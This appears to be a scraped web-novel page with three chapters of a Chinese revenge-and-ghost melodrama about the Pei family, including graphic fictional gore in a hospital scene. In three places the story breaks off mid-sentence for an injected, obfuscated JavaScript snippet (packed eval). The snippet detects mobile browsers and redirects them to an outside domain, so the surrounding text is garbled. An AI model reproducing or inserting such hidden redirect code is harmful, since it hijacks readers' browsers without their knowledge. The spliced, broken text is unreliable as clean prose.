乔凛觉得黎舒一向走一步看十步，但对于他将温茉茉接回来的手段着实是看不明白。 乔凛纳闷道：“我压根看不出她有什么本事，就一漂亮姑娘，难道我还看走眼了？” “你不是看走眼。”黎舒慢悠悠地说，“她的本事你看不到。” 乔凛半眯着眼睛，杀气腾腾地低声说：“如果说裴毅寒不是什么好人，那裴毅松就是比垃圾货色还不如的放射性污染物了。我警告你，我们玩归玩，闹归闹，我可不准你把无辜女人当炮灰使。” “你出事了她都不会出事的，放心吧。”黎舒对于温茉茉，确切来说是对于温茉茉的死鬼老爹十分放心。 即便时间又过去了两个月，死去多时的温父仍然还坚守在温茉茉身边，且似乎是由于温茉茉在国外的寺庙里执行了某种祈祷仪式的缘故，温父给他的感觉也更加阴森可怖起来。 乔凛知道黎舒不会信口开河，只得继续维持将信将疑的态度。 直到…… “握草！”眼线发来的连文字带视频的私信让乔凛垂死病中惊坐起，立刻打给了黎舒。 “裴毅松那小吊子炸啦！” “裴家要闹翻天了！！！” 这不是什么夸张的修辞手法，而是字面上的意思。 裴毅松吊炸天了。 14.第 14 章 裴父今年虽然才五十出头的年纪，但由于年轻时在家族内斗中出了场严重车祸，导致腿脚落下了一些痼疾，前些年更是因为事业压力过重和频繁动怒导致心脏方面出了问题，在裴毅寒代理掌权后，他便较少过问公司的事务，安心住在老宅休养。 裴父与现任妻子林丽蓉感情甚笃。林丽蓉平日里是典型的贵妇人做派，有丰富的社交活动，不过这两天裴毅松刚回家，她生怕儿子惹了麻烦后，自己这个当妈的人在外面没法第一时间帮儿子解决问题，这才守在了家里。 一看到保镖的来电显示，林丽蓉就右眼皮直跳，意识到情况要糟。 她看了眼一旁认真练习国画的丈夫，躲到一旁接起了电话。 “小声点！毅松他又闯了什么祸……” 电话里，保镖的声音像是被卡在了齿缝里，夹杂着一些含糊扭曲的颤音：“夫人，松少爷出了事故，目前正在海州市第一人民医院接受治疗，请您立刻赶来吧！” “你说什么？！”林丽蓉不淡定了，忍不住失声尖叫起来，“情况严不严重？现在毅松他怎么样了？！” 保镖诡异地沉默了三秒：“情况……比较严峻。” 听保镖这么说，林丽蓉吓得都快晕过去，浑身颤抖地叫上管家和丈夫启程去医院。 车上，裴父脸色阴沉如墨：“我们怎么就生了这么个臭小子，成天闯祸，这次该是他的教训……” “你别说了！儿子都还在医院里，不知道具体情况怎么样呢！”林丽蓉用纸巾擦着脸，这位十分注重脸面的贵妇人已顾不上自己糊作一团的精致妆容。 三人匆忙赶到指定的手术室门口，就见保镖正押着个满脸不悦的姑娘坐在椅子上。 裴父一眼便认出了那姑娘：“温家的丫头？你怎么会在这里？” 温茉茉对裴父丝毫没有好脸色，冷笑着挑眉道：“裴伯伯与其问我，不如问你那宝贝儿子做了什么！哼！” 林丽蓉似乎意识到眼前的女人就是害了自家儿子的罪魁祸首，两眼血红地扑了上去，十根尖锐的暗红色穿戴甲就和刚撕扯完血肉的猛兽无异。 “小贱人，你对我儿子做了什么！” 温茉茉被突然暴起发难的林丽蓉吓了一跳，正要躲避那十根长指甲，不曾想她的整条肩膀都被保镖死死地扣住。 “放开我！混蛋！！！” 但保镖怎么可能放开温茉茉？裴毅松遭遇了这么大的事故，且不说他的工作肯定保不住，没准过不久连命都要没了！他必须祸水东引，而温茉茉就是那个最好的替死鬼。 没人注意到，在一股无形力量的作用下，林丽蓉脚下的高跟鞋鞋跟“咔嚓”一下断了。 林丽蓉摔了出去，锐利的指甲直接戳在了保镖的脸上，再在惯性的作用下，用力一划…… “嘶啦！” 保镖的半张脸皮都被撕扯下来！ 白森森的骨头和暴露在外，紧接着，大量的鲜血如喷泉一般飞溅而出。 “啊啊啊啊啊！”席卷而来的剧痛令保镖理智尽失，猛地推开林丽蓉，捂住脸发出凄厉的哀嚎。 而林丽蓉更是没好到哪去。 她本就站得不稳，又被体格强健的保镖爆发全力推了一把，只听得“嘭”一声剧烈的爆响，她的后脑勺重重地撞在墙壁上，一条腿扭曲变形，另一条腿的碎骨头如剑般从皮肉中戳了出来。 这一系列变故不仅把温茉茉吓傻了，刚刚赶来的黎舒和乔凛也震惊得无可复加。 现场堪称惨烈，走廊上沿途都是血，保镖满面鲜血哀嚎不止，林丽蓉则是直接昏死过去。 “我们误闯杀人现场了吗！？”乔凛自诩什么世面没见过，可眼下的世面是真没见过，多少有些被血淋淋的场面吓到了。 阵阵阴风穿堂而过，走廊内的温度霎时犹如初冬，冰冷的白炽灯忽地闪烁几下。 温父发出无声的怨毒咆哮，贪婪地吸吮着保镖和林丽容溢散的血气。 很快，他破碎到稀烂的头盖骨居然自发修复起来，整个鬼影都向着生前的模样转变。 见状，黎舒幽幽地开了口：“确实是杀人现场呢……” “学长！”温茉茉见到黎舒，犹如见到了亲人，心里压抑的委屈顿时止不住了，张开双臂便扑到黎舒怀里，哽咽着说，“呜呜呜，学长，他们都欺负我！！！” 原来，裴毅松以逛街后休息为由，把温茉茉带到了裴家的度假酒店并欲行不轨之事，而那贱人保镖就在门口把风。 谁知，裴毅松才刚把温茉茉抱摔到床上，身后的电视便突然间爆炸了，炸裂的零件通通落在了裴毅松的小兄弟身上。 烂肉与鲜血齐飞，裴毅松当场不省人事。 温茉茉害怕闹出人命，遂拨打急救电话。 讽刺的是，无论温茉茉在房间内如何拍打房门求救，保镖都充耳不闻，直到救护人员赶到房间门口，保镖才觉察到不对劲。 此时，温茉茉还想趁乱逃离，保镖又一次将她扣住，三人一起上了救护车。 而就在医护人员准备对昏迷的裴毅松施救时，裴毅松的伤口竟然又一次炸开来了！他的伤口里居然还扎着不稳定的电子元件！ 这一次真的是吊炸天，各种红的黄的白的乌七八糟的东西糊得保镖满嘴满脸都是，车厢中充斥着无法言喻的恶心气味，温茉茉“侥幸”躲过一劫，身上没脏，但她好悬没把胆汁给吐出来。 然后，温茉茉因为手机被保镖摔坏的缘故，没法对裴毅寒呼救，在医院等来了裴父和林丽蓉，双方话不投机半句多，温茉茉眼睁睁看着林丽蓉差点把她挠毁容，紧接着便和保镖遭遇了现世报。 “Niubility……”乔凛咽下一口口水，看温茉茉的眼神就像是在看扫把星的女儿，这一系列巧合到可怕的意外事故已经不能用科学来解释了，必须是玄学层面的力量。 她现在就很好奇，黎舒如此肆无忌惮地驱使温茉茉，不怕遭报应吗？ 黎舒伸手抚了抚温茉茉的头顶，柔声安慰道：“别怕，茉茉，学长会帮你讨回公道的。” 然后，他冷笑着看向裴父：“上梁不正下梁歪！大叔，你儿子就算变成了太监也无法免除牢狱之灾！光天化日之下把无辜女生带到自家酒店软禁、施暴，就连老天都看不过眼了！我直到今天才知道，原来酒店是最好的犯罪场所，裴二少想做什么都无所谓，反正证据会被神通广大的裴先生顺手抹消掉！” 乔凛也举着手机宛若正义卫士般冲了出来：“温茉茉是我的朋友，我乔家会护着她的！你们裴家别想好过！” 恐怕，只有后半段才是实话吧！裴父看着乔凛那义正言辞的嘴脸，忽然就悟了。 乔家！原来这一切是乔家的阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029784|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋！ 裴父正欲愤怒地驳斥，心脏却突然传来一阵绞痛，他猛地捂住胸口，脸色煞白，身体摇摇欲坠。 管家见状，连忙将心脏病药喂给了裴父。 “二老爷，您冷静冷静，现在家里出了这么大的事儿，您可不能倒下啊！医生！医生呢！快来人啊！这里有三名病患！” 管家一边喂药一边呼救，裴父深呼吸几下，被管家被搀扶到座椅上休息。 很快，一队医生护士急匆匆地过来，看到了手术室门口的惨状，爆发一阵惊呼。 “这里是什么情况？！” 事实上距离事发才不到三分钟，医护人员急忙检查起保镖和林丽蓉的伤口，发现保镖的脸伤到了重要血管，毁容事小，丧命事大！ 而林丽蓉头上的簪子更是直接刺入了后脑勺里，虽然出血量不大，但已然性命垂危。 这下倒好，家里需要急救的人突然又多了一个。 “管家，你去给王主任打电话，让他带着最好的医疗团队给丽蓉治疗！还有，我是裴贺州，我需要知道现在是谁在为我的二儿子治疗。” 赶来的医护人员自然知悉裴父的身份，当即表示：“手术室里面的是陈主任，他是男性生殖方面相当权威的专家！您儿子的情况并不乐观，整套生殖系统被完全破坏，再没有修复的可能，但我们会尽全力挽救他的性命！” 裴父像是没听清眼前的医生在说什么，嗫嚅着嘴角，神情有些懵：“你的意思是，我家毅松……” “他要成为全国最后一个太监了！他阴德的！谁让你这个老东西不会教孩子的？”温茉茉揪着黎舒胸前的衣服，看向裴父时宛若一只应激的猫，嗓声尖锐无比。 温茉茉从来就不是什么傻白甜受气包，她面对裴毅寒的时候小作，面对黎舒的时候乖巧，但在面对差点残害她的人时，她可以张嘴骂得很扎心，甚至亲自抓花对方的臭脸！ 这时，旁边的护士又惊叫一声：“小心！仔细挪动她的头！她脑浆有点流出来了！” 脑浆流出来了，人还能活吗？就算能活，将来又会有多少后遗症，生活还能自理吗？ 接二连三的打击让裴父再也承受不住，他的眼前骤然炸开一片血色，眼泪、口水、鼻血不受控制地溢出，整张脸在几秒内迅速发紫，表情狰狞得叫人辨别不出他原先周正的面貌。 “裴先生？裴先生！快！患者疑似急性心源性猝死前兆，合并急性脑出血，立刻抬去急救室！！！” 现在连裴父都倒下了，这都四杀了，任职几十年的管家手慌脚乱地给裴贺泽和裴毅寒联络。 而黎舒和温茉茉、乔凛就这么呆站在原地，如同置身事外。 “……我们还继续留在这吗？”乔凛询问黎舒。 欺负过温茉茉的几个都已经整整齐齐躺下了，他们的战斗力还没来得及发挥，就已不战而胜。 黎舒思忖片刻后，沉声说：“留着吧，好歹是裴总的亲生父亲在做手术，就当慰问了。” 不久后，大致恢复成生前模样的温父飘到黎舒面前，牵扯起红艳艳的嘴角，露出一抹诡异的笑。 一阵恶寒霎时从脊背蹿上来，黎舒四肢动弹不得，只能眼睁睁看着温父的脑袋与自己距离越来越近。 直到一股阴森的声音飘到他的脑海里。 “用仇人的血……” 15.第 15 章 海州市第一人民医院，室外停车场。 太阳到了下午四点仍然没有下落的趋势，八月下旬海州的天气依旧炎热。 车子停下后，后座的裴毅寒并没有第一时间下车，而是自顾自地点燃一支烟，慢悠悠地抽了起来。 一般来说，只有压力大到想死的时候裴毅寒才会慢性自杀一下，否则他是不抽烟的，因为抽烟会增加各种疾病的患病概率，尤其会导致牙黄口臭等口腔问题，裴总极为呵护自己的形象，无法容忍自己变成一个邋遢的烟鬼。 但是今天，他莫名其妙地想来上一支烟……非常想。 打火机的火苗跳动了一下，映亮了裴毅寒半垂的眉眼，当吸入第一口烟雾的时候，他的喉咙像是被一把清凉又辛辣的刀子划了一下，紧接着便是一阵剧烈的咳嗽。 好久没抽烟了。 具体有多久，裴毅寒也不记得了。 他现在就像是抽烟的初学者，并不习惯香烟的味道，只是因为满腔心情无处发泄才浅浅尝试一下。 裴毅寒忍受着肺部的不适感，任由烟雾从口鼻中漫出模糊了他的面目。 那双半眯着的眼眸精明且锐利，并没有被尼古丁拖入某种迷离、逃避的幻境中，反而像是被回忆刺痛得无法入睡、被迫清醒。 驾驶座上的司机见状，默默打开了车内的新风交互系统，对自家看似冷酷实则好说话的裴总报以深刻同情：可怜的裴总，一定是得知亲爹出事后心情不好吧！ 但裴毅寒的心情具体如何，就只有他自己知道。 他如同站在跳水台的边缘，后面没有人催他，可他却在催促自己不要继续踌躇于可怕的坠落感和窒息感，屏住呼吸，一鼓作气，才能享受到入水瞬间的奔放与自由。 当香烟燃尽的那一刻，裴毅寒重新适应了烟雾浸透肺部的感觉了，尼古丁刺激了多巴胺的大量释放，他发自内心地感到放松……以及亢奋。 悲伤？那是什么东西？ 都去死吧！ 抽烟的五分钟里，裴毅寒左思右想，冥思苦想，都想不到裴父和他之间有过哪些温暖的时刻。 尤其是当他听说林丽蓉和裴毅松母子也在重症监护室里抢救，那些怨恨的疮疤便立刻突破了麻木的尘烬，如同冬眠的毒蛇在春天复苏过来，迫不及待地搜寻起了猎物。 他之所以这么多年来默默忍受，什么都不做，只是因为他什么都做不了，而非他不想做点什么。 真当他不知道里面的门道么？他的父亲用严酷的手段折磨他，是在讨好林丽蓉和林家；裴毅松肆无忌惮地闯祸，再让他善后，也是折磨他的一种方式；还有那个在家里经常诬陷他的妹妹…… 他是多么的想让这帮人去死啊！ 他等啊等，等得都快绝望了，终于，机会在今天来了！ 但因为接下来要面对最敬爱的大伯，裴毅寒非常想摆出悲痛的表情，只有这样才符合大伯对他的期待。 下车后，裴毅寒在门诊大厅等了几分钟，等到了大伯裴贺泽。 裴贺泽看起来一下子苍老了好几岁，连皱纹都比平时深刻几分。 显然，对于双胞胎弟弟重病的消息，裴贺泽极为悲痛。 “小寒……哎，你爸他们三个人出事了，现在这一家子里，只剩下你跟你妹妹还好好的了。” 裴贺泽嗅到了裴毅寒身上的烟味，以为侄子是压力太重，便安慰地拍了拍裴毅寒的肩膀：“走吧，我们一起过去。” “……好，大伯。”裴毅寒面部肌肉扭曲了一下，有种不知道该摆出什么表情的错乱，最后只得神情僵硬地回复了一声。 裴毅寒是个蹩脚的演员。 伯侄俩一起来到管家指定的手术室门口。 突然，裴毅寒浑身一震，不敢置信自己竟然在这里见到了朝思暮想的身影。 “茉茉……？” “裴毅寒！”温茉茉见到裴毅寒的刹那，积压了两个月的思念瞬间如火山喷发。 她用力扑到裴毅寒怀里，跳过诉说自己委屈和思念的环节，直接满面怒容地控诉道：“你弟弟那个贱货想要在你家酒店欺负我，他的贱人保镖还堵门呢！如果不是电视机爆炸，你弟弟就要得逞了！我不管，我要告他！就算他被炸成太监了我也要他坐牢！” 这时，黎舒也站了起来：“裴哥，我们赶到的时候，你后妈想要用指甲划烂茉茉的脸，幸好她踩着高跟鞋一时没站稳，这才让茉茉侥幸逃过一劫！具体情况如何，你们可以调用监控。” 空气突然陷入短暂的静止。 温茉茉和黎舒的告状二连令裴毅寒的面部肌肉猛地凝固。 三秒后，他的大脑反应过来，积压了二十多年的愤怒在这一刻被彻底点燃。 “裴毅松、林丽蓉……” 这两个人不光欺凌他，还欺凌他最重要的人……该死！ 裴毅寒两眼遍布血丝，整个人的皮肤泛着病态的红，喉间滚动着喑哑的咆哮，像是一头失控边缘的怪物。 就连温茉茉都从没在裴毅寒脸上看到过这种表情，一时间有些被吓住了。 她愣了几秒后，才踮起脚尖小心地摸了摸裴毅寒的头顶。 “裴毅寒，你冷静一下，别气晕过去了，还要让你大伯担心。” 温茉茉知道裴毅寒在家里唯一重视的亲人就是大伯裴贺泽了。 “我很冷静。”所有表情又瞬间从裴毅寒脸上褪去，只剩下一双深渊般的眼睛在平静地注视着红色的急救灯，而这种诡异的平静比声嘶力竭的暴怒更为惊悚，“我从来没有这么冷静过。” 有时候活着比死亡更加痛苦，无论是被物理阉割的裴毅松、脑浆都流出来的林丽蓉，还是大概率落下后遗症的裴父，这三个人的身子骨和未来都已经毁了，将来只能在他的眼皮子底下苟延残喘，他有的是法子将过去遭受的折磨十倍、百倍地报复回去。 “茉茉……”裴毅寒张开双臂，用力地抱住了温茉茉，恨不得将女人融进自己的骨血里，“你是我穷尽一生追逐的幸运。” 小时候，是温茉茉温暖了自己最黑暗的一段岁月。 现在，是温茉茉给自己仇恨的人带来了报应。 他怎能不爱对方呢？ 裴毅寒突如其来的表白令温茉茉既感动，又羞赧地红了脸：“干嘛突然说情话啊，旁边有人在看着呢！” 医院的确不是什么适合秀恩爱的场合。 不一会儿，一个护士走上前来，打断了亲密的两人。 “请问谁是病人裴贺州的家属？这是病危通知书，请签一下。” 裴贺泽伸出手，刚递过病危通知书，一旁的裴毅寒却径直捏住了病危通知书的另一端。 “我是裴贺州的儿子，我来签吧。”裴毅寒紧紧地盯着裴贺泽，用恳求的语气说，“大伯，求你让我来签吧。” 裴贺泽放松了握着纸笔的力道，裴毅寒快速夺过病危通知书签下名，完成了这场无形的权利渡让。 这一刻，裴贺泽清晰地看到了侄子眼底迸发的野心，那火星原本被圈养在小小的壁炉里，一朝挣脱束缚，便是野火燎原，不可遏制。 “哎……”裴贺泽深深地叹了口气，原本挺直的背脊也弯曲了一分。 裴毅寒跟林丽蓉、裴毅松的仇恨是不可调和的，但对于后两者，裴贺泽懒得去关心，他只关心自己的弟弟。 多年来，林丽蓉的跋扈、裴毅松的顽劣都被裴贺泽都看在眼里，这对母子俩让他感到深深的不喜，相较而言，他还是更喜欢严肃正经的裴毅寒。 只是，他不能因个人喜好轻慢林丽蓉母子，如果要下注的话，林丽蓉母子赢面更大，所以他对裴毅寒虽好，但也是点到为止。 直到今天，局势已定，裴贺泽才彻底对裴毅寒买定离手。 裴贺泽其实是有一对亲生儿女的，但儿子痴迷艺术，女儿身体不好，两人都是争不起万贯家产的资质，他便只能将希望寄托在双胞胎弟弟的孩子身上，毕竟同卵双胞胎的DNA序列100%相同，他跟裴毅寒去做亲子鉴定也能显示出亲生父子关系，也就无所谓血缘了。 裴家三人在同一天出事的消息已经传开了，之后大陆的裴氏集团必将迎来一场前所未有的风暴，他们伯侄从这一刻起必须像是拧紧的麻绳一样，才能守住家产。 同时，这场持久战必然少不了盟友。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038468|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴贺泽走到黎舒身前，眼底飞快地闪过一抹失望之色，但还是满面慈祥地在黎舒身边坐下。 “你就是黎舒吧？呵呵，听说你是我们家小寒的朋友以后，我就一直想要见见你，我跟你父亲年轻的时候是朋友。” 虽是故人之子，却未继承故人之姿，眉眼间满是精明市侩的庸俗之人，怎能不令他失望？ 黎舒惊讶地瞪圆了眼，喉结上下滚动两下，看似是短暂的失语，实则只觉那伪善的檀香味比粪池还要令人作呕：“原来是您啊，我妈确实跟我提到过您！我们两家之间看来真有缘分。” “可不是么，你是小寒的朋友，又是温丫头的学长，我跟你父亲还是故交，这缘分太难得了。”裴贺泽摸了摸黎舒的手背。 这阵滑腻的触感令黎舒起了一身鸡皮疙瘩，好不容易才维持住了笑容。 “裴伯伯，择日不如撞日，待会儿裴叔叔情况稳定后，您要不要来我公司看一看？” 周围人听到黎舒的话，纷纷向他投来不可思议的眼神。 这话显然是不合时宜的，别人重要的亲人正在重症监护室抢救，你搁这摆出谈生意的态度，会不会过头了？ 如果这话是由其他利欲熏心的蠢货说出来倒也罢了，但偏偏是步步心机的黎舒……乔凛只觉得黎舒又要搞些花招。 裴贺泽本无心谈论其他，此刻却也不得不摆出慈爱宽容的长辈姿态：“小年轻还是有拼劲，真不错，跟你爸以前一样，虎父无犬子！行，待会儿伯伯便来看看你的公司。” 在现在这个社会能白手起家在两个月内挣上亿身家的年轻人，绝对是值得投资的。 甚至毫不夸张地说，裴毅寒和黎舒若是换个位置，前者不一定能挣到后者的钱，而后者却肯定能比前者发展得更好。 “我听说伯伯也是个虔信之人。”黎舒从随身小包中取出一个古董檀木盒子，打开后，里面是一串红彤彤的佛珠，浸了鲜血一样浓艳，一眼便知是价值非凡的宝贝，“这是我在拍卖行给自己买来改运的，还找到高僧开了光，现在就正好送给伯伯了。” ……连礼物都准备好了？！ 裴贺泽已经确定黎舒今天过来就是在等着自己，遂亲切地摆了摆手：“初次见面，应该是长辈送小辈见面礼，我怎么好反过来让你送？” “那……伯伯不如将手上的那串佛珠换给我？”黎舒促狭地眨了眨眼，仿佛自以为是选中了一件最便宜的东西，“这样，就当是我们互送礼物了。” 裴贺泽看看手上的佛珠，再看看黎舒的表情，牙齿咬了咬，无语凝噎。 也是头一次体会到被拍马屁结果被拍马腿上的无力感。 原来，裴贺泽手上的佛珠看似不起眼，实则是凝聚了得道高僧大法力的佛物，根本不是一串值钱的佛珠能比得上的东西！是有价无市的宝贝！ 但黎舒都当着众人的面这么说了，裴贺泽也不好意思拆黎舒的台，只好将手上的佛珠拿下来给黎舒戴上，面上云淡风轻，实则心痛得直抽抽。 ……就当是投资了，总归除了佛珠外，他还有其他收藏。 “谢谢您，伯伯。”黎舒愉快地扬起唇角，表情十分真心实意，“我太喜欢这份礼物了！” 裴贺泽送他的佛珠是温父避而不及的东西，裴贺泽一过来，温父便像是被火星子烫伤的猫一样远远躲了起来。 而他送裴贺泽的，却是戴了会倒霉的凶器，檀木盒子的作用便是镇压凶器。 帮裴贺泽戴上凶器后，温父的原话翻来覆去地在黎舒脑海里回荡。 “用仇人的血……” “令枉死鬼超生。” 温父之所以能恢复生前面貌，正是因为他误打误撞地从仇人身上讨回了债，让执念消散了些许。原来，前几年温家会在一夜之间突然破产，是裴父退位前和林家合谋的手笔。 在温父的提醒下，黎舒悟了，紧急更改了对待裴贺泽的方针。 原本，他是想将凶器的归属权栽赃给裴毅寒，好让裴贺泽倒霉的同时，令这对伯侄离心猜忌，自相残杀。 现在……呵呵，不需要这么麻烦了。 今天，正是他的机会！ 16.第 16 章 在等待裴父手术结束的这段时间里，裴家伯侄俩去调看了监控，确定医院里发生的一切都只是一场极其罕见的意外。 于是，裴毅寒也就理所当然的看到了温茉茉投入黎舒怀抱的场景。 好在，这个拥抱并未持续太久。 但这一幕还是深深刺痛了裴毅寒的心脏。 裴毅寒是真心将黎舒当成朋友和弟弟看待的，在温茉茉不理他的时候，是黎舒从未间断的贴心问候缓解了他的孤独症，甚至于，在短短不到两个月的时间里，他不自觉地对黎舒形成了依赖性成瘾症，每晚躺床上都要回顾一下两人当天的聊天内容才肯闭眼，哪怕这些聊天内容没什么营养，却也足以牵引他步入好梦。 现在温茉茉回来了，裴毅寒会将心思更多的放到温茉茉身上，但他也可以保证自己不会冷落黎舒。他私人的社交圈狭窄得不能更狭窄，这辈子估计只会有黎舒一个真心认可的弟弟。 黎舒和温茉茉，构成了他枯燥人生里的两味灵药，这两个人可以存在交集，但不能存在他不知道的交往，两味药物融合后可能会变成毒药，他害怕同时失去两人，或者说，他害怕被抛在身后。 裴毅寒的内心翻涌着强烈的占有欲和醋意，如潮水般绵延不绝，且这份情绪是双向的。 他对黎舒怀抱占有欲，于是对温茉茉吃醋，又对温茉茉怀抱占有欲，于是对黎舒吃醋……就像一个任性的孩子不允许身边最要好的两个小伙伴私下一起玩，而必须将他捧在手心里那样，无聊幼稚得让他自己都忍受不了自己的卑劣。 偏偏，他还控制不住地去向温茉茉求证。 “茉茉，你今天特地将黎舒喊了过来？” 恋爱中的女人何其敏锐，温茉茉只停顿了一秒，就意识到裴毅寒怀疑起她和黎舒的关系了。 “我没想到学长会来，幸好他来了，那谁让你没早点过来的呢？靠不住的男人，哼！” 温茉茉精致的猫咪眼里怒火高涨。 她自认和黎舒清清白白，裴毅寒居然怀疑她，难道她的感情在裴毅寒心里是这么肤浅的东西吗？ 话说，裴毅寒有什么资格怀疑她！当初为了商业联姻要将对象发配去地下恋的又不是她！ 温茉茉越想越气，越气越想，最后认定自己还是对裴毅寒太好了！要知道，她今天跟踪裴毅松差点出事是为了谁？ ——果然啊，学长说的没错，男人就是要吃几次教训、吃够了教训才能认识到错误，现在提复合的事情还太早了！ “放开我！抱什么抱啊！你谁啊就抱我，我们只是前任关系！”温茉茉用力踩了一脚裴毅寒的皮鞋。 裴毅寒闷哼一声，吃痛地松开了抱着温茉茉的胳膊。 温茉茉跑到了乔凛身边坐下，甜甜地说：“乔姐姐，谢谢你和学长一起过来救了我。” “不客气，我本来只是想带着黎小舒过来凑热闹罢了，吃瓜是鄙人刻在基因里的本能，我消息灵通着呢。”乔凛皮笑肉不笑地斜睨了裴毅寒一眼，语气里略带讥讽地说，“怪是我存在感太低，才会让裴总沉浸在自己的爱恨情仇里无法自拔。以我的拙见来看，刚刚裴总脑袋里估计已经自绿过无数轮了，要我说啊妹妹，擅长自绿的男人不能要，麻烦着呢！” 乔凛的战斗力仍然强悍，裴毅寒愣是被说得抬不起头来。 明明他也知道黎舒赶来医院是出于对他的担心，偏偏还要明知故问地试探温茉茉，这下倒好，一下得罪所有人。 “裴哥今天受了刺激，我们还是给他点时间，让他冷静冷静吧。”只有黎舒依旧宽容，仿佛不知道裴毅寒心里的小九九。 他从小包里掏啊掏，掏出一堆口味各异的糖果，然后一股脑塞到了裴毅寒手里：“裴哥，甜食虽然能让人心情愉悦，但也会刺激肠胃，你少吃点，挑自己喜欢的吃几颗。” 为了不让糖果掉到地上，裴毅寒将它们都揣进了裤兜里，把剪裁恰到好处的西装裤兜撑得鼓鼓囊囊。 “……我会吃的，也会注意不吃多的，谢谢。”裴毅寒眼神柔软下来，嘴角不自觉上扬，轻声地说道。 他不禁想，如果把温茉茉比作甜辣的姜糖，那么黎舒就是浓醇的牛奶糖，前者的关怀里带着任性的小刺激，后者的照顾则是纯粹的香浓。 晚上八点，在经过四个多小时的手术后，裴父顺利结束手术并转移到ICU里。 据医生称，幸亏裴父是在医院里出的事，有医护人员抢救及时才没酿成大祸，不过之后估计会有些轻度偏瘫的症状，需要时间慢慢恢复。 裴毅松和林丽蓉的伤势则更加严重，至今还没能从手术室里出来。 此时，黎舒也顺势向裴毅寒提出道别。 “对于裴叔叔的情况，我们其他人也帮不上忙，我就先带裴大伯去我公司那，让他好好吃顿饭休息休息吧。我爸应该很想见他，毕竟他们生前曾是很要好的朋友。” 这番话也就解释了黎舒下午为什么会表现得这么反常，原来是出于对已故父亲的孝心。 裴毅寒：“去吧，路上小心。” 闻言，温茉茉也赶紧起身：“学长，我跟你一起去吧，医院里太无聊了。” 裴毅寒抿了抿唇，用眼神无声地挽留温茉茉，像是一头不懂撒娇为何物的孤高狼王，用最笨拙的方式表达自己的无助。 ——其实也没那么无助。 裴毅寒的演技不能说没有，只能说拙劣，这已经是他能扮演的最大程度的可怜了。 然而，温茉茉铁了心想要训一训裴毅寒，才不会被这种演技骗到！除非尊严大过天的裴总能像求婚一样对她下跪求饶，否则她不会心软的！ 乔凛趁势笑着挽上温茉茉的手臂：“时间不早了，你去黎舒公司做什么？一来一回的，多麻烦，姐姐带你回家做美甲。” 黎舒私底下发消息说了，这次事关重大，她绝不能让温茉茉打搅黎舒的好事。 “美甲？”温茉茉瞬间来精神了，她低头瞅瞅自己只涂了紫罗兰色指甲油的手指，顿时觉得太素了。 实在是国外的美甲师审美和技术不敢恭维，又贵又丑，她可不想被坑。 “我去我去！”温茉茉准备待会儿在车上好好查看款式，问乔凛，“乔姐姐想做什么美甲？” “就裴总后妈那种样式的吧。”乔凛勾了勾唇角，意味深长地一笑，“我从来都不晓得，原来世上还有如此合理的携带管制刀具的方法。” 温茉茉眼前一亮：“对！谁欺负我，我就挠谁！” 要是她这次有林丽蓉那样的指甲，她早就能戳瞎贱人保镖后逃走了，哪还有后续这么多事。 温茉茉开心地和乔凛回了家，不一会儿，医院走廊上便只剩下裴毅寒和管家两人。 隔着ICU的玻璃大窗户，裴毅寒看到了病床上身上插着各种导管的裴父。 这个男人在裴毅寒头顶上威严了半辈子，如今却让裴毅寒见到了最虚弱、最不堪一击的模样。 内心深处的巨山开始崩塌，裴毅寒在口袋里翻找一番后，想了想，取出一块薄荷糖吃了起来。 一股凛冽的清凉如冰晶在口腔中爆裂，强烈的凉意化作风直冲大脑，仿佛吞下了一个冬天——然后，他在万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046068|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 籁俱寂里迎来了自己的春天。 “好甜。” …… 腾宇影视，总裁办公室。 打开角落的一扇房门，里面是黎舒专属的休息区，林炜豪的牌位被他迁到了这里，方便他随时上香。 从医院过来已经是晚上九点多，黎舒顺手将裴贺泽送他的佛珠摘下来放到抽屉里。 “这就是阿豪的牌位吧。”裴贺泽没想到这辈子还会跟林炜豪有交集，一时思绪万千。 照片上的青年定格在二十多年前阳光帅气的模样，反观他则已经衰老了，身材不可避免地走样，皮肤不可避免地松垮，就连爱恨也不可避免地淡薄。 当年，因为父亲偏心更加懂事、学习成绩更好的弟弟，他愤而离家出走，想要建立起自己的事业，结果在人生地不熟的地方被人骗了钱，险些流落街头。 幸好，他遇到了林炜豪。 只一眼，他便对林炜豪产生了前所未有的悸动。 当年，同性恋还被写在精神病书上，他不懂这份感情究竟是什么，只是他看着林炜豪的身体、听见林炜豪的声音，就会想要独占这个青年。 这份感情在他得知林炜豪结婚生子后达到了极致，他是多么嫉妒那个女人啊，恨不得取而代之。 